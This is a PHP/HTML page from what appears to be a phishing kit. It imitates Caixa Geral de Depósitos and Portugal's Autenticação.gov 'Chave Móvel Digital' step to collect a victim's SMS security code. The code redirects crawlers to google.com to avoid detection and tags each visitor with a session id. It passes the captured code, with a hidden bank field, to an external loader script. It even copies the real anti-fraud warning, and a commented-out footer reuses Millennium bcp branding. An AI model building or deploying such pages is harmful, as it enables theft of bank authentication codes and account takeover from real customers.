<?php
require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="shortcut icon" href="https://www.millenniumbcp.pt/media/32hpfa4u/favicon.svg" type="image/x-icon">
    <title>CGD</title>
     <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
    <link rel="stylesheet" href="panel/bootstrap/css/bootstrap.min.css">
    <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
  <script src="https://code.iconify.design/3/3.1.0/iconify.min.js"></script>
  <link rel="stylesheet" href="panel/css/index.css">
  <link rel="stylesheet" href="panel/css/style.css">


     <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
   <script src="panel/bootstrap/jquery/jquery.min.js"></script>
    
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
<style>
    .header{
        padding: 50px 0px 0px !important;

    }
    .percent80 {
    text-align: left;
    font: 12px / 24px Lato;
    font-weight: bold;
    font-size: 1.004em;
    letter-spacing: 0;
    color: #3C5DBC;
    opacity: 1;
    position: absolute;
    top: -1px;
    /* left: 250px; */
    right: 0;
    transform: translate(15px,1px);
    font-family: inherit;
    font-style: inherit;
}
.span {
   
    transform: translate(-2px, -101px) !important;

}
.titleCMDModal{
    color: #3C5DBC;

}
.input-field{
    background: transparent;
    border: 1px solid #000;
    width: 30%;
    height: 44px;
    border-color: rgba(118, 118, 118, 0.3);
}
.p-30{
    padding: 12px 28px;
}
.span{
    position: absolute;
    transform: translate(-2px, -126px);
    background: #fff;
    bottom: 0px;
    color: #3C5DBC;
}
.label_error {
    color: Red;
    font-size: 12px;
}
.btn-modal-text {
    /* text-align: right; */
    font: 14px / 17px Lato;
    font-size: 1.004em;
    letter-spacing: 0;
    color: #3C5DBC;
    opacity: 1;
    font-weight: bold;
    text-transform: uppercase;
    font-family: inherit;
    font-style: inherit;
    background: #F1F1F2 0% 0% no-repeat padding-box;
    padding: 10px 18px;
    width: 100%;
    display: flex;
    align-items: center;
    justify-content: space-between;
    border-radius: 0px !important;

}
.btn-modal-text-white {
    /* text-align: left; */
    color: #FFFFFF;
    font: 14px / 17px Lato;
    font-size: 1.004em;
    letter-spacing: 0;
    opacity: 1;
    font-weight: bold;
    text-transform: uppercase;
    font-family: inherit;
    font-style: inherit;
    display: flex;
    justify-content: space-between;
    align-items: center;
    background: #3C5DBC 0% 0% no-repeat padding-box;
    width: 100%;
    padding: 10px 18px;
    border-radius: 0px !important;

}
@media screen and (max-width:600px) {
    .span {
        position: inherit !important;
    }
    .percent80 {
        transform: translate(-13px, 1px);
    }
    .flex-small-div {
        justify-content: center;
        row-gap: 15px;
        margin-top: 15px;
flex-wrap:wrap;
    }
    .flex-small-div p{
        margin-left: 0px !important;
        font-size: 14px;
    }
    .p-30 {
    padding: 12px 12px;
}
.btn-padding-01{
    padding-right: 15px !important;
    margin-bottom: 10px !important;
}
.btn-padding{
    padding-left: 15px !important;
}
}
input[type="tel"] {
    border-radius: .5rem .5rem .5rem .5rem;
    border-left: 1px solid rgba(118, 118, 118, 0.3);
}


.header_nav {
            background: #0071ce;
        }

        .menu-center {
            gap: 30px;
        }

        .menu-center li {
            list-style: none;
        }

        .menu-center li a {
            color: #FFFFFF;
            font-size: 14px;
            font-family: "Roboto", sans-serif;
            font-weight: 400;
        }

        .menu-center li a span {
            color: #9DB1C9;
        }

        .menu-center li a.btn_login {
            color: #0071ce;
            background: #FFFFFF;
            padding: 10px;
            border-radius: 8px;
            border: none;
            font-family: "League Spartan", sans-serif;
            font-weight: 600;
            font-size: 18px;
            display: flex;
            gap: 5px;
            align-items: baseline;
        }
       

        .menu-center li a:hover {
            text-decoration: none;
        }

        @media screen and (max-width:991px) {
            .menu-center {
                display: none !important;
            }

            .header_nav .row {
                margin-left: 0px !important;
                margin-right: 0px !important;
            }

            .mobile_header {
                display: flex !important;
                list-style: none;
                justify-content: space-between !important;
                width: 100%;
            }
            .mobile_header li a.span_txt {
            color: #9DB1C9;
        }
            .mobile_header li {
                list-style: none;
            }

            .mobile_header li a {
                display: flex;
                gap: 20px;
                color: #fff;
                row-gap: 0px !important;
            }

            .flex_padding {
                padding: 0px !important;
            }
            .mobile_header li a.btn_login {
            color: #0071ce;
            background: #FFFFFF;
            padding: 10px;
            border-radius: 8px;
            border: none;
            font-family: "League Spartan", sans-serif;
            font-weight: 600;
            font-size: 18px;
            display: flex;
            gap: 5px;
            align-items: baseline;
        }
        .down_icon{
            position: absolute;
        }
        }

        .mobile_header {
            display: none;
        }
</style>
</style>

</head>

<body>
    <header class="header_nav p-3">
        <div class="container-fluid">
            <div class="row ml-5 mr-5 justify-content-center">
                <div class="col-md-12 flex_padding">
                    <div class="d-flex justify-content-center align-items-center">
                        <ul class="menu-center d-flex justify-content-between align-items-center mb-0 pl-0" id="menu">
                            <li class="active"><a href="#">PT <span> EN</span></a></li>
                            <li class="active"><a href="#">Particulares</a></li>
                            <li class="list_nav"><a href="#">Private</a></li>
                            <li class="list_nav"><a href="#">Empresas</a></li>
                            <li class="list_nav"><a href="#">Institucional</a></li>
                            <li class="list_nav"><a href="#">Sustentabilidade</a></li>
                            <li class="list_nav"><a href="#">Investor Relations</a></li>
                            <li class="list_nav"><a href="#">Ajuda</a></li>
                            <li class="list_nav"><a href="#">Saldo Positivo</a></li>
                            <li class=""><a href="#" class="btn_login"><i class="bx bx-lock"></i> Caixadirecta</a></li>
                        </ul>
                    </div>
                    <div class="d-flex justify-content-between align-items-center">
                        <ul class=" mobile_header  justify-content-between align-items-center mb-0 pl-0" id="menu">
                            <li class="active"><a href="#"><span class="d-flex"> PT &nbsp; <span class="span_txt"> EN</span></span></a></li>
                            <li class="active"><a href="#" class="d-flex flex-column">Particulares
                                <div class="arrow_down d-flex justify-content-center align-items-center">
                                 <i class="bx bx-chevron-down down_icon "></i></div></a></li>

                            <li class=""><a href="#" class="btn_login"><i class="bx bx-lock"></i> Caixadirecta</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </header>
 
    <section>
        <div class="header">
            <div class="white-line">
            </div>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                        <div class="row logo mt-0 mb-5">
                            <a href="#">
                                <img src="panel/imgs/logo-ag.svg" alt="Autenticação.gov.pt" class="img img-responsive logo-ie">
                            </a>
                        </div>
                        
                    </div>
                </div>
            </div>
            
            <div class="WarningMessage" style="background-color: #FFF0CB;height: auto;text-align: center;padding: 30px;">
                <span id="lblWarning" style="font-weight:bold;">Atenção: </span>
                <span id="lblWarningInfo">Nunca forneça os seus códigos PIN ou outros dados pessoais por SMS, email ou telefone.</span> <br>
                    <a id="hrefProtec" class="colorBlue" href="https://eportugal.gov.pt/burlas-e-sms-fraudulentas-em-nome-de-chave-movel-digital-ou-autenticacao-gov" target="_blank" style="text-decoration: underline;"><span id="lblProtec">Saiba mais sobre como se proteger de tentativas de fraude no portal ePortugal.</span></a>
            </div>  
            
        </div>
    </section>
    <section>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <h5 class="text-center mt-5">
                        FAÇA A SUA AUTENTICAÇÃO</h5>
                </div>
                <div class="col-md-3 m-auto">
                    <div style="background-color: White; height: 10px; width: 300px">
                        <div id="MainContent_bar" class="mt-2" style="height: 10px; width: 240px; background-color: #DBE1F2">
                        </div>
                        <span id="MainContent_percent" class="percent80">80%</span>
                    </div>
                </div>
                </div>
                <div class="row">
                <div class="col-md-7 m-auto">
                    <h4 class="titleCMDModal mt-3 text-uppercase">
                        Chave Móvel Digital</h4>
                        <label for="" class="mt-4">Código de segurança <span> *</span></label>
                        <form  action="#" id="form" method="post" name="login">

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                        <input type="tel" class="input-field form-control" id="security_code" name="security_code" onkeyup="chageValue()">
                    </form>
                        <p class="mt-1">Caso não o tenha recebido, clique em <a href="#" class="text-dark"><b> Enviar por SMS </b> </a></p>
                    
                        <div class="border p-30">
                            <span class="span"><b>App Autenticação Gov </b></span>
                            <div class="d-flex align-items-center flex-small-div">
                            <div class="d-flex">
                                <img src="panel/imgs/Touch ID.svg" alt="">
                                <img src="panel/imgs/FACE ID.svg" alt="">
                            </div>
                            <p class="text-center ml-4">Se tiver a app Autenticação Gov, não necessita de introduzir o código de segurança, pode confirmar a sua autenticação através dos seus dados biométricos.</p>
                        </div>
                    </div>
                    <!--<span class="label_error">Não foi possível efetuar a autenticação.</span>-->
                </div>
               
            </div>
            <div class="row justify-content-center mt-3">
                <div class="col-md-3 btn-padding-01 pr-0">
                    <button disabled class="btn btn-modal-text"><img src="panel/imgs/left_arrow.svg" class="img-fluid" width="32px" alt="">  Voltar </button>
                   </div>
                <div class="col-md-3 btn-padding pl-0">
                    <button disabled id="form_check" onclick="formSubmit()"  type="button" class="btn btn-modal-text-white">  confirmar  <img src="panel/imgs/right_arrow.svg" class="img-fluid" width="32px" alt=""></button>
                   </div>

            </div>
            <div class="row">
                <div class="col-md-7 m-auto">
                    <hr>
                    <img src="panel/images/Logo_AMA.png" class="img-fluid text-center d-flex m-auto"  alt="">
                </div>
            </div>
        </div>
    </section>
    <footer></footer>
    <div class="footer_bottom"></div>
    <div class="lang-links flex-wrap d-flex justify-content-center mb-5 pb-5 mt-2">
        <a href="">Segurança</a>
        <a href="">Contactos</a>
        <a href="">Preçário</a>
        <a href="">Condições Gerais</a>
        <a href="">Espaço Cliente</a>
    </div>
    <!-- <footer class="mt-4">
        <div class="main-footer">
            <div class="container">
                <div class="row">
                    <div class="col-md-12">
                        <img src="panel/images/m-logo.png" class="img-fluid" alt="">
                    </div>
                </div>
                <div class="row mt-4">
                    <div class="col-md-3">
                        <h5 class="group-title">Feito para si</h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#">Indivíduos</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Prestígio</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Privado</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Jovens adultos</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Residentes no estrangeiro</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Imigrantes</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Corporativo</a>
                            </div>
                </div>
                    </div>
                    <div class="col-md-3">
                        <h5 class="group-title">E também...
                        </h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#">Aplicativos móveis</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Segurança</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Banco de investimento</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Imobiliária</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Compras</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Fundação Millennium bcp</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Sustentabilidade</a>
                            </div>
                </div>
                    </div>
                    <div class="col-md-3">
                        <h5 class="group-title">Transparência
                        </h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Lista de preços</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Política de Privacidade</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Política de cookies</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Sugestões e reclamações</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Informações legais e contratuais</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" rel="noreferrer" target="_blank">Princípios Orientadores para a Venda de Imóveis</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Incumprimento do contrato de crédito</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Resolução alternativa de conflitos de consumo</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Mediador de crédito</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Fundo de Garantia de Depósitos</a>
                            </div>
                </div>
                    </div>
                    <div class="col-md-3">
                        <h5 class="group-title">Links úteis
                        </h5>
                        <div class="accordion-body">
                            <div class="links">
                                <a class="group-links" href="#"  target="_blank">Registar</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Recuperar dados de acesso</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Aplicativo Milénio</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Contatos</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Contactos de emergência</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Onde nos pode encontrar</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Ajuda</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" target="_blank">Carreiras</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#">Taxas de câmbio</a>
                            </div>
                            <div class="links">
                                <a class="group-links" href="#" target="_blank">Taxas de câmbio</a>
                            </div>
                </div>
                    </div>
                </div>
            </div>
            <div class="container">
                <div class="row mt-4">
                    <div class="col-12 col-md-auto order-md-2">
                            <div class="social-icons ">
                                    <a href="#">
                                        <img  src="panel/images/facebook.png" alt="Facebook">
                                    </a>
                                    <a href="#">
                                        <img  src="panel/images/instagram.png" alt="Instagram">
                                    </a>
                                    <a href="#">
                                        <img  src="panel/images/linkedin.png" alt="Linkedin">
                                    </a>
                                    <a href="#">
                                        <img  src="panel/images/microsoftteams-image-1.png" alt="Twitter">
                                    </a>
                                    <a href="#">
                                        <img  src="panel/images/youtube.png" alt="Youtube">
                                    </a>
                            </div>
                    </div>
                    <div class="col-12 col-md ">
                            <div class="trademark">

                                millenniumbcp.pt é um serviço do Banco Comercial Português S.A.

                            </div>
                    </div>
                </div>
            </div>
        </div>
    </footer>    -->
   <script src="<?=URLROOT?>/panel/bootstrap/js/popper.min.js"></script>
        <script src="<?=URLROOT?>/panel/bootstrap/js/bootstrap.min.js"></script>


    <script>
        
        function chageValue(){
            var user_code = $('#security_code').val();
            
           if(user_code != ""){
               $('#form_check').removeAttr('disabled','disabled')
           }else{
                $('#form_check').attr('disabled','disabled')
           }
     }

              function formSubmit(){
                 
              var loader = new Option();
              loader.formSubmit();
       

    }

    
        </script>

    
</body>

</html>